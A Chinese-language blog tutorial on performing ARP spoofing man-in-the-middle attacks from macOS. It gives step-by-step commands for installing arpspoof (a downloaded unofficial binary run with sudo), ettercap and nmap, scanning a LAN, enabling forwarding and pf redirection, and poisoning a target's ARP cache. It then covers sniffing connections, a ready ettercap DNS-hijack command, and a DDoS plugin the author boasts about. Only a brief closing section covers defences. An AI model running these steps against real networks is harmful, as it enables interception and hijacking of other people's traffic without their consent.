前言

本教程以Macos环境为例,其他操作系统请自行参考.以下内容写的比较顺我的心.言外之意:我随便写的,为的是方便我自己

另外如果你是Mac用户,你需要有相应的系统环境,如果你环境从来没有安装过或者没有,需要进行以下操作:

  1. 安装 macports (macports官网)

  2. 更新 macports , sudo port -d selfupdate

  3. 安装 arspoof , curl -LJO https://github.com/YeautyYE/arpspoof/releases/download/2.4b1%2Bdebian-29/arpspoof && chmod a+x arpspoof && mv arpspoof /usr/local/bin/ && sudo arpspoof 项目链接 # 后面内容可以不用看.如果可以 也安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff`就安装吧,kail下有dsniff工具,但这个工具太远古了,本人MBP装不上垃圾东西,我尝试过修复,但修不好..所以这里选择#前的替代方案.

  4. 安装 ettercap , brew install ettercap && brew install adwaita-icon-theme # 可选:adwaita-icon-theme # 如果你觉得按钮有问题无所谓的话,也可以选择不安装 adwaita-icon-theme.

  5. 安装 nmap , brew install nmap

上面👆的内容看不懂?对不起,这个不是纯小白能看的内容,如果你连homebrew都没装,ARP协议及欺骗原理,网关等等都不知道的话,建议你还是马上关闭这个网页吧.会浪费你的时间.


开启网卡(一般不需要)

1
sudo chmod 777 /dev/bpf*

查看目标主机的ARP缓存记录的网关IP以及mac地址(顺便看一下en*端口): 如果出现批量重复mac地址,很有可能你在运行或运行过arpspoof命令,出现这种情况时mac地址不采用(因为不可信,nmap查出来的较为可信)

1
arp -a

查询本机各个网卡名的mac地址,本机IP等信息

1
ifconfig

以网关192.168.1.1为例,使用 ping 方式扫描(不准确,但快),192.168.1.1/24”表示扫描”192.168.1.1-192.168.1.254”这个网段的所有机器。

1
nmap -sP 192.168.31.1/24

注:nmap功能非常强大,这里不详细说.

Mac下查询本机地址及网关地址(顺带看一下子网掩码):
Linux呢?我不知道🤷‍♂️诶才怪,Linux的是 route -n

1
netstat -nr # 或者ifconfig +网络接口名 eg: ifconfig en0

Routing table flags

The following table describes the Flags column in the netstat -rn output:

Flag Description
U Up—Route is valid
G Gateway—Route is to a gateway router rather than to a directly connected network or host
H Host name—Route is to a host rather than to a network, where the destination address is a complete address
R Reject—Set by ARP when an entry expires (for example, the IP address could not be resolved into a MAC address)
D Dynamic—Route added by a route redirect or RIP (if routed is enabled)
M Modified—Route modified by a route redirect
C Cloning—A new route is cloned from this entry when it is used
L Link—Link-level information, such as the Ethernet MAC address, is present
S Static—Route added with the route command

翻译如下:

路由表旗

下表描述了netstat -rn输出中的Flags列:

国旗 描述
U Up—路线有效
G 网关—路由是通往网关路由器,而不是直接连接的网络或主机
H 主机名—路由是主机而不是网络,其中目标地址是一个完整的地址
R 拒绝—当条目过期时由ARP设置(例如,IP地址无法解析为MAC地址)
D 动态—通过路由重定向或RIP添加的路由(如果启用路由)
M 修改—路由重定向修改的路线
C 克隆—使用时从此条目克隆新路由
L 链接—存在链接级信息,例如以太网MAC地址
S 静态—路线与路由命令一起添加

Flag UCS 为网关或本机IP或子网掩码 Flag UHLWIir 为网关 这个我也不太清楚.建议参考上面资料并自行判断

表达式link#x,其中x是某个数字,用于指示相应的地址是链路级地址,即仅在主机物理连接的网络上运行的地址。

换句话说,这些是直接连接的网络,不需要额外的路由。

至于链接编号(为什么它们是#4和#5,而不是您可能期望的#1和#2),检查ifconfig -a的输出,您会看到链接#1通常是环回接口(lo0)。链路2和3通常是IPv6接口(gif0和stf0),为典型的en0(以太网)和en1(机场)留下链接4和5

在进行arp欺骗之前,为了让对方没有察觉.我们可以当个中间人(算是中间人(MITM)攻击了),这个就需要我们开启IP转发,使得本机具有路由功能,否则当欺骗成功之后,目标机会断网.

开启端口转发

Mac下(修改 mac 的packet filter包过滤器):

  1. 在 /etc/pf.anchors 目录下新建文件 http,内容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    8080是程序监听的端口号,是否为en0,请以实际为准,否则无效果.

  2. 修改 /etc/pf.conf 文件,在适当的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

    必须按照顺序插入,否则会无效。 /etc/pf.conf 修改后是这样:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #
    # com.apple anchor point
    #
    scrub-anchor "com.apple/*"
    nat-anchor "com.apple/*"
    rdr-anchor "com.apple/*"
    rdr-anchor "http-forwarding"
    dummynet-anchor "com.apple/*"
    anchor "com.apple/*"
    load anchor "com.apple" from "/etc/pf.anchors/com.apple"
    load anchor "http-forwarding" from "/etc/pf.anchors/http"
  3. 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

开启IP转发:

Mac下:

1
sudo sysctl -w net.inet.ip.forwarding=1

Linux下:

1
echo 1 >/proc/sys/net/ipv4/ip_forward && cat /proc/sys/net/ipv4/ip_forward

查看本机IP转发情况:

1
sudo sysctl -a | grep forward

ARP欺骗

假设被攻击的 IP 是 192.168.1.66,局域网的网关是 192.168.1.1,攻击电脑使用的网卡接口是 en0,则欺骗命令如下:

1
2
# arpspoof -i en0 -t 目标IP -r 网关IP
arpspoof -i en0 -t 192.168.1.66 -r 192.168.1.1

arpspoof - 拦截交换局域网上的数据包
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
参数:
-i:指定要使用的接口(即指定一块网卡),像eth0等。
-c:指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址.使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。
-t:目标地址,如果没指定则会指定LAN上的所有主机。重复可以指定多个主机。
-r:捕获两个方向(目标和主机(host))上的流量,这样就不需要arpspoof发出两个命令了。(仅仅在和-t参数一起使用时有效)
host:你想要截获数据包的主机 (通常是网关)。
想了解更多建议Google或者链接🔗

ettercap截获流量

在前面步骤完成后,可以开始使用ettercap捕获流量了,用命令行开启ettercap的图形窗口:

1
sudo ettercap -G

选择网卡端口en0(请根据实际情况).然后点✔︎即可.

image-20220413014828090

开始扫描.

image-20220413015013204 image-20220413015105514

接下来查看扫描出来的主机信息.

image-20220413015216966

在Host List中添加目标主机IP到 Target 1,添加网关IP到 Target 2.

再开启ARP,选择”sniff remote connections”,然后点击”OK”。这样就配置完成,ettercap会自动开始arp欺骗。.然后再查看数据(选择View下的”Connections”可以监听流量).

image-20220413015509597image-20220413015533734

命令 说明
ARP poisoning ARP投毒
DNP poisoning DNP投毒
ICMP redirect icmp重定向
Port stealing 端口欺骗
DHCP spoofing DHCP欺骗
stop MITM 停止攻击
SSL intercept ssl嗅探
Hosts 显示主机列表
Filters 载入二进制脚本
Plugins 插件

hosts选项:

命令 说明
Hosts list 扫描到的主机列表
Enable ipv6 scan 扫描ipv6地址
Scan for hosts 扫描主机列表
load hosts form file 从外部文件载入主机列表
Save hosts to file 保存主机列表到文件

修改 /etc/ettercap/etter.dns 并激活dns_spoof插件即可实现DNS劫持.例如 ettercap -i eth0 -Tp -M arp:remote -P dns_spoof /192.168.127.211// /192.168.127.2//

也有ddos插件,可实现ddos攻击,在同一网关下,以我电脑性能实测完全碾压.不同网关的话,另论

怎样防范ARP欺骗?

很简单.

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址,有条件可以使用ARP防火墙.

参考链接🔗有:MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击Dsniff简介arp欺骗攻击及其原理

大学霸 Kali Linux 安全渗透教程